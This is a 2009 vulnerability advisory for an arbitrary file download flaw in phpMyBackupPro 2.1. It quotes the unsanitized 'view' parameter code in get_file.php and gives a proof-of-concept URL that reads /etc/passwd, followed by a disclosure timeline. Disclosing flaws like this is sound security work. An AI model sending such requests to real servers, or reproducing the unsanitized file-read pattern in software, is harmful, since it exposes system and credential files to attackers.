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  Arbitrary File Download in phpMyBackupPro

  Name      Arbitrary File Download in phpMyBackupPro
  Systems Affected  phpMyBackupPro v 2.1 and possibly earlier versions
  site      http://www.phpmybackuppro.net
  Author      Amol Naik (amolnaik4[at]gmail.com)
  Date      16/11/2009
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1. OVERVIEW
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phpMyBackupPro is a web-based MySQL backup application in PHP. 
You can schedule backups, download, email or upload them with FTP and backup whole file directories. 
Zip and gzip compression, easy interface and installation. Many languages and online help!

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2. DESCRIPTION
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phpMyBackupPro is vulnerable to Arbitrary File Download.

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3. TECHNICAL DETAILS
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Arbritrary File Downlaod
++++++++++++++++++++++++

Vulnerable page    get_file.php
Vulnerable Parameters  view
Vulnerable Code    

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// show the requested file
if (isset($_GET['view']) && file_exists($_GET['view'])) {
    if (isset($_GET['download'])) {
        header("Content-Type: application/octet-stream");
        header("Content-Disposition: attachment; filename=".basename($_GET['view']));
        readfile($_GET['view']);
    } else {
        ......
        ......
        .......
    }

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The parameter "view" is not properly sanitized which results in Arbitrary file download.

++++
POC
++++

http://localhost/phpMyBackupPro/get_file.php?download=true&view=/etc/passwd



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4. TimeLine
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20th Oct 2009    Bug Discovered
20th Oct 2009    Reported to Vendor
27th Oct 2009    vendor agreed to the vulnerablity and ready to fix it.
16th Nov 2009    No communication received about the status of the fix.
16th Nov 2009    Public Disclosure